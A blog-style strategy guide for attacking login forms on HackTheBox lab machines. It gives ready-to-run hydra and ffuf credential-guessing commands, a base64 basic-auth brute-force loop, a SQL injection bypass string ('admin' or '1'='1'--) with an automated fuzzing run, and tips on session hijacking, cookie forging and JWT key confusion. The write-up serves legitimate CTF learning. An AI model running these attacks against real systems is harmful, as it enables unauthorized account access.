Login Forms

INTRODUCTION

The moment you encounter a login form can be magical: there are so many possibilities at your fingertips… did they leave some default credentials on the system? Is there an SSRF? Maybe there’s a way to bypass authentication completely?

Having so many options can be both a blessing and a curse. It can be a little daunting to have to keep so many techniques in mind, and to keep your eyes open for evidence of the form’s vulnerability to each. In an effort to keep your efforts focused and heading in the right direction, I’m writing this strategy of my favorite techniques to try on login forms.

Disclaimer

The procedure outlined below is not even close to comprehensive. There are countless ways to attack a login form. This strategy is simply a summary of my “greatest hits” when dealing with machines on platforms like HackTheBox. Modern day login forms typically rely on some kind of federated login or single-sign-on mechanism, which is definitely outside the scope of this document.

RECON

The best place to start is by learning about the login form you’re facing. Determine what type of authentication is taking place (ex. Is it using basic http auth? Does it POST a form to a login endpoint? Do you have a session token before logging in?).

http login

Performing a single login attempt manually and proxying it through Burp is a great way to answer these questions quickly. Here’s an example of an HTTP POST form, like on you might see on an Apache PHP server.

POST /admin/login.php HTTP/1.1
Host: love.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 42
Origin: http://love.htb
DNT: 1
Connection: close
Referer: http://love.htb/admin/
Cookie: PHPSESSID=fabeh7tcq673g4dgdvpm778r63
Upgrade-Insecure-Requests: 1
Sec-GPC: 1

username=admin&password=password123&login=

Check the header and footer of the page. Does it display the name of the software or framework? a version number? With any luck, the target is using some open source system: in such a case, finding default credentials often reduces to a simple search on Github.

If you’re on Kali or have Seclists’ repo on your machine, it’s also worth checking known-defaults wordlist, such as: /usr/share/seclists/Passwords/Default-Credentials

CREDENTIAL GUESSING

Guessing credentials should be your very first stop. It’s surprisingly common to leave easy / guessable credentials on the system, and this attack is incredibly easy to try.

If your recon turned up some default credentials to try, check those first. Otherwise, you may start by interacting with the form manually, typing some credentials and hitting Enter. This will work on some very easy boxes.

However, I like to take a more systematic / automated approach. Both hydra and ffuf are excellent options.

wfuzz is also good, but I don’t often use it personally.

hydra has many different modules for credential guessing. Outlined below are only http-get and http(s)-post-form. To see the whole list, check the help text:

hydra -h | grep "Supported services"

Then, to get more information on how to use a particular module, just pass the -U argument. For example, learn how to use snmp:

 hydra -U snmp

x-www-form-urlencoded

For this section, I’ll use a login form on the HTB machine Love as an example. From recon, I noted the following observations:

Observations from recon:

The form is located at http://love.htb/admin/index.php. As shown above, in the recon section, this form issues a POST request to /admin/login.php. The cookie PHPSESSID is included in the request. Credentials are sent in the fields username and password. The empty “submit” field is called login . Incorrect attempts redirect back to the login form, which has the text Sign in to start your session.

Hydra

Using the above information, we can point hydra at the form, attacking it in a multithreaded credential-guessing attack:

USERS=/usr/share/seclists/Usernames/top-usernames-shortlist.txt
PASSWORDS=/usr/share/seclists/Passwords/Common-Credentials/top-20-common-SSH-passwords.txt
hydra -L $USERS -P $PASSWORDS -I love.htb http-post-form "/admin/login.php:username=^USER^&password=^PASS^&login=:H=Cookie: PHPSESSID=fabeh7tcq673g4dgdvpm778r63:F=Sign in to start your session"

Any attempts that produce a response that doesn’t include the F= text are considered successful and will be displayed in the console.

  • Provide the cookie as a portion of the header (:H=Cookie: key1=val1; key2=val2)
  • the filter string (:F=text you see if authentication failed) must be after the cookie

This is how we’d adjust hydra for a hypothetical HTTPS form that is otherwise identical:

hydra -L $USERS -P $PASSWORDS -I -S love.htb https-post-form "/admin/login.php:username=^USER^&password=^PASS^&login=:H=Cookie: PHPSESSID=fabeh7tcq673g4dgdvpm778r63:F=Sign in to start your session"
  • Use method https-post-form, not http-post-form, along with the -S option

Ffuf

Let’s do the same thing with ffuf. Personally, I prefer ffuf for this task - it is clearer about what options to use:

ffuf -u http://love.htb/admin/login.php -r -t 16 -c -v \
-w "/usr/share/seclists/Usernames/top-usernames-shortlist.txt:USER" \
-w "/usr/share/seclists/Passwords/Common-Credentials/top-20-common-SSH-passwords.txt:PASS" \
-H "Content-Type: application/x-www-form-urlencoded" \
-b "PHPSESSID=fabeh7tcq673g4dgdvpm778r63" \
-d 'username=USER&password=PASS&login=' \
-fr 'Sign in to start your session'

Oddly, I haven’t ever been able to get this to work if I use bash variables as the wordlist paths 🤷‍♂️

You can also get ffuf to load an http request that was saved using a tool like Burp - very similar to the same feature that’s in sqlmap. It saves writing out a bunch of args and flags for ffuf.

credential guessing with ffuf

(I removed the regex filter for illustrative purposes. It would be smart to use the -fr option in actual practice.)

Here’s the same thing, but using a hypothetical HTTPS form. Note the -k flag and the change to the -u parameter:

ffuf -u https://love.htb/admin/login.php -k -r -t 16 -c -v \
-w "/usr/share/seclists/Usernames/top-usernames-shortlist.txt:USER" \
-w "/usr/share/seclists/Passwords/Common-Credentials/top-20-common-SSH-passwords.txt:PASS" \
-H "Content-Type: application/x-www-form-urlencoded" \
-b "PHPSESSID=fabeh7tcq673g4dgdvpm778r63" \
-d 'username=USER&password=PASS&login=' \
-fr 'Sign in to start your session'

There are many tools that will do this type of thing. I really appreciate the versatility of ffuf though. Ffuf never tries to override anything you tell it to do, which makes everything a little more transparent.

Basic HTTP Auth

It’s rare these days, but sometimes you still encounter basic http authentication. You can identify this by checking the request and response headers:

  • The request will have a header like this: Authorization: Basic ZWMyLXVzZXI6MTIzNDU2MQ== Where the value is base64(username:password)
  • The response to initial (unsuccessful) attempts to log in will have a WWW-Authenticate header set. Probably showing something like WWW-Authenticate: Basic realm="Access denied".

Hydra

Thankfully, Hydra makes it really easy to combine wordlists into the base64-encoded username:password format shown above. The only trick is to provide the proper args to attempt to use basic http auth:

USERS=/usr/share/seclists/Usernames/top-usernames-shortlist.txt
PASSWDS=/usr/share/seclists/Passwords/2023-200_most_used_passwords.txt
hydra -L $USERS -P $PASSWDS 83.136.254.223 -s 41958 http-get "/"

Ffuf

Getting ffuf to do a dictionary attack for basic http auth is a little more involved. Fortunately though, ffuf is perfectly happy to use STDIN as a wordlist. Instead of providing a wordlist filepath, just use -w -

⚠️ To do this, we need to either choose to use a lot of RAM, or a lot of disk.

If you prefer to use more disk, then generate the wordlist first. The example below is the “use a lot of RAM” way.

# Get our wordlists as shell variables
USERS=/usr/share/seclists/Usernames/top-usernames-shortlist.txt
PASSWDS=/usr/share/seclists/Passwords/2023-200_most_used_passwords.txt
# Pipe a script's stdout into ffuf as a wordlist. 
while IFS= read -r P; do while IFS= read -r U; do printf "%s:%s" $U $P | base64; done < $USERS; done < $PASSWDS | \
ffuf -w -:B64 -u http://83.136.254.223:41958 -H "Authorization: Basic B64" -fc 401 -v -s | base64 -d
admin:admin

While you’re testing the args, I recommend using the following:

  • -x http://127.0.0.1:8080 : proxy your tests through Burp or ZAP.
  • Omit the -fc and -s arguments, and don’t pipe the results to base64 -d.

AUTHENTICATION BYPASS

SQLi Bypass

When the handler of a login form fails to perform proper input sanitization and validation, it might be susceptible to some really easy SQL injection. If that’s the case, you might be able to bypass the login form altogether. This works by passing specially-crafted SQL escapes into the username or password fields, tricking the logic of the backend code into thinking the credentials were valid. Here’s a textbook example:

admin' or '1'='1'-- 

(Note there is a space after the SQL comment --). Using the above as a username might let you in if the username parameter is passed to the code within singlequotes and the authentication logic is handled within SQL itself.

It works like this: The password check gets bypassed by the '1'='1' evaluating to True and the -- comment character truncates the rest of the logic. As a result, the whole SQL statement evaluates to True, possibly letting you in.

Since there are so many SQL auth bypass strings to attempt, I find it very useful to automate it with ffuf:

WLIST=/usr/share/seclists/Fuzzing/Databases/sqli.auth.bypass.txt 
ffuf -w $WLIST:FUZZ -u http://love.htb/admin/login.php -r -X POST -t 40 -c \
-H "Content-Type: application/x-www-form-urlencoded" \
-b "PHPSESSID=fabeh7tcq673g4dgdvpm778r63" \
-d "username=FUZZ&password=password123&login=" \
-fr 'Sign in to start your session'

For an example, please see the section of my walkthrough of Toolbox where I use this exact technique to find these auth bypasses:

authentication bypass sqli

Note that this scan only took three seconds. It’s definitely worth checking.

🚨 If an SQLi bypass works, there is a high likelihood that SQL injection can be be further leveraged to gain RCE. Please see SQLMap for more details. Usage of SQLMap is such a broad topic that it could easily be a whole article by itself.

Session Hijacking

Do your target use session cookies, and you’ve already obtained another (valid) session token? If so, just plonk it right into your browser’s cookies and navigate to the restricted endpoint (ex. the page where you would have been redirected if you had logged in legitimately). This is an excellent extension to a successful XSS attack.

editing cookies

If this works, a good thing to check right away is whether you can perform a password-reset without reauthenticating - that would lead to account takeover!

As mentioned above, sometimes all you need to “prove” you are already authenticated is to present some kind of token or cookie. Sometimes, a website will fail to verify the cookie server-side. I’ve seen this before with the following authentication mechanism:

  1. The client provides credentials. Their credentials get wrapped together into a cookie and stored in the browser. Let’s call this cookie “CREDS”.

    ☝️ It doesn’t matter if it was the client or the server that bundled the credentials into the cookie.

  2. The server reads the credentials and determines if they are valid. If they are valid, the server takes CREDS and cryptographically signs it, creating CREDS_SIGNED, then hands that signed cookie back to the user.

  3. The user now presents both cookies for any request, proving they are who they say they are, that the server validated the authentication.

So, what could go wrong? A sloppy developer might botch step (2):

  • A good cryptographic signature relies on a key that remains private (for at least the whole duration of when a signature needs to be valid). If that key gets leaked, the whole system falls apart.
  • Perhaps the server didn’t even use a key - it just “signed” the data as-is, perhaps just by hashing it.

I encountered exactly this situation when doing the HTB machine Download. Please see my walkthrough on that box for more detail. I created a handy tool for performing cookie signatures using NodeJS + Express for that box (plus an bonus tool that abused the authentication mechanism to enumerate valid usernames on the system 😉)

Express-cookie-signer

Another excellent tool for this is Cookiemonster. It’s very versatile, working for several different frameworks and encodings. Please check out their repo for more detail.

JWT Key Confusion

This is an attack that I utilized on a (now retired) HTB machine Cybermonday. At a high level, it depends on a server’s misconfiguration such that it might misinterpret part of a JWT*, such as the part that specifies the key algorithm*.

This attack is a little more complicated, so please refer to that section of my walkthrough of Cybermonday for more detail.

MANY MORE

TODO:

  • Remember Me abuse
  • Fiddling with the request header (bypass technique)
  • Refreshing a login token but actually grabbing somebody else’s (also a bypass)

Thanks for reading

🤝🤝🤝🤝
@4wayhandshake